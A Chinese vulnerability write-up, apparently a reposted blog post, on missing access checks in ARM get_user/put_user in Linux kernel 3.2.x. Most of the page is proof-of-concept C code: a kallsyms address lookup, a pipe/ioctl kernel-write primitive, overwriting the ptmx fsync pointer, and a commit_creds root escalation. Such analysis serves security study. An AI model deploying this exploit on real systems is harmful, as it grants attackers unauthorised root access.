视频1 视频21 视频41 视频61 视频文章1 视频文章21 视频文章41 视频文章61 推荐1 推荐3 推荐5 推荐7 推荐9 推荐11 推荐13 推荐15 推荐17 推荐19 推荐21 推荐23 推荐25 推荐27 推荐29 推荐31 推荐33 推荐35 推荐37 推荐39 推荐41 推荐43 推荐45 推荐47 推荐49 关键词1 关键词101 关键词201 关键词301 关键词401 关键词501 关键词601 关键词701 关键词801 关键词901 关键词1001 关键词1101 关键词1201 关键词1301 关键词1401 关键词1501 关键词1601 关键词1701 关键词1801 关键词1901 视频扩展1 视频扩展6 视频扩展11 视频扩展16 文章1 文章201 文章401 文章601 文章801 文章1001 资讯1 资讯501 资讯1001 资讯1501 标签1 标签501 标签1001 关键词1 关键词501 关键词1001 关键词1501 专题2001
Missingaccesschecksinput
2020-11-09 15:24:54 责编:小采
文档


/* 作者:莫灰灰 邮箱: minzhenfei@163.com */ 1.漏洞成因 Linux kernel对ARM上的get_user/put_user缺少访问权限检查,本地攻击者可利用此漏洞读写内核内存,获取权限提升。 2.受影响的系统 Linux kernel 3.2.2 Linux kernel 3.2.13 Linux kernel 3.2.1 3.P

/*

作者:莫灰灰 邮箱: minzhenfei@163.com

*/

1.漏洞成因

Linux kernel对ARM上的get_user/put_user缺少访问权限检查,本地攻击者可利用此漏洞读写内核内存,获取权限提升。


2.受影响的系统

Linux kernel 3.2.2
Linux kernel 3.2.13
Linux kernel 3.2.1


3.PoC分析

(1)从/proc/kallsyms文件中获得数据结构ptmx_fops的地址

void *ptmx_fops = kallsyms_get_symbol_address("ptmx_fops");
unsigned int ptmx_fops_fsync_address = (unsigned int)ptmx_fops + 0x38;


static void *kallsyms_get_symbol_address(const char *symbol_name)
{
	FILE *fp;
	char function[BUFSIZ];
	char symbol;
	void *address;
	int ret;

	fp = fopen("/proc/kallsyms", "r");
	if (!fp) {
	printf("Failed to open /proc/kallsyms due to %s.", strerror(errno));
	return 0;
	}

	while(!feof(fp)) {
	ret = fscanf(fp, "%p %c %s", &address, &symbol, function);
	if (ret != 3) {
	break;
	}

	if (!strcmp(function, symbol_name)) {
	fclose(fp);
	return address;
	}
	}
	fclose(fp);

	return NULL;
}


(2)找到fsync的地址,即ptmx_fops+0x38的地方
static struct file_operations ptmx_fops;

struct file_operations {
	struct module *owner;
	loff_t (*llseek) (struct file *, loff_t, int);
	ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
	ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
	ssize_t (*aio_read) (struct kiocb *, const struct iovec *, unsigned long, loff_t);
	ssize_t (*aio_write) (struct kiocb *, const struct iovec *, unsigned long, loff_t);
	int (*iterate) (struct file *, struct dir_context *);
	unsigned int (*poll) (struct file *, struct poll_table_struct *);
	long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long);
	long (*compat_ioctl) (struct file *, unsigned int, unsigned long);
	int (*mmap) (struct file *, struct vm_area_struct *);
	int (*open) (struct inode *, struct file *);
	int (*flush) (struct file *, fl_owner_t id);
	int (*release) (struct inode *, struct file *);
	int (*fsync) (struct file *, loff_t, loff_t, int datasync);
	int (*aio_fsync) (struct kiocb *, int datasync);
	int (*fasync) (int, struct file *, int);
	int (*lock) (struct file *, int, struct file_lock *);
	ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int);
	unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);
	int (*check_flags)(int);
	int (*flock) (struct file *, int, struct file_lock *);
	ssize_t (*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int);
	ssize_t (*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int);
	int (*setlease)(struct file *, long, struct file_lock **);
	long (*fallocate)(struct file *file, int mode, loff_t offset,
	 loff_t len);
	int (*show_fdinfo)(struct seq_file *m, struct file *f);
};

(3)替换fsync函数指针为自己的函数
if(pipe_write_value_at_address( ptmx_fops_fsync_address,(unsigned int)&ptmx_fsync_callback )){


ptmx_fsync_callback函数可以使本进程得到权限提升
/* 	obtain_root_privilege - userland callback function
We set ptmx_fops.fsync to the address of this function
Calling fysnc on the open /dev/ptmx file descriptor will result
in this function being called in the kernel context
We can the call the prepare/commit creds combo to escalate the
processes priveledge.	
*/
static void ptmx_fsync_callback(void)
{
	commit_creds(prepare_kernel_cred(0));
}


pipe_write_value_at_address函数底层通过put_user函数改写内核地址内容
static unsigned int pipe_write_value_at_address(unsigned long address, unsigned int value)
{
	char data[4];
	int pipefd[2];
	int i;

	*(long *)&data = value;

	if (pipe(pipefd) == -1) {
	perror("pipe");
	return 1;
	}

	for (i = 0; i < (int) sizeof(data) ; i++) {
	char buf[256];
	buf[0] = 0;
	if (data[i]) {
	if (write(pipefd[1], buf, data[i]) != data[i]) {
	printf("error in write().\n");
	break;
	}
	}

	if (ioctl(pipefd[0], FIONREAD, (void *)(address + i)) == -1) {
	perror("ioctl");
	break;
	}

	if (data[i]) {
	if (read(pipefd[0], buf, sizeof buf) != data[i]) {
	printf("error in read().\n");
	break;
	}
	}
	}

	close(pipefd[0]);
	close(pipefd[1]);

	return (i == sizeof (data));
}

(4)手动调用fsync函数,触发自己的hook函数,得到权限提升
int fd = open(PTMX_DEVICE, O_WRONLY);
if(!fd) return 1; 
fsync(fd);
close(fd);


4.修复

在put_user之前加了个地址判断

下载本文
显示全文
专题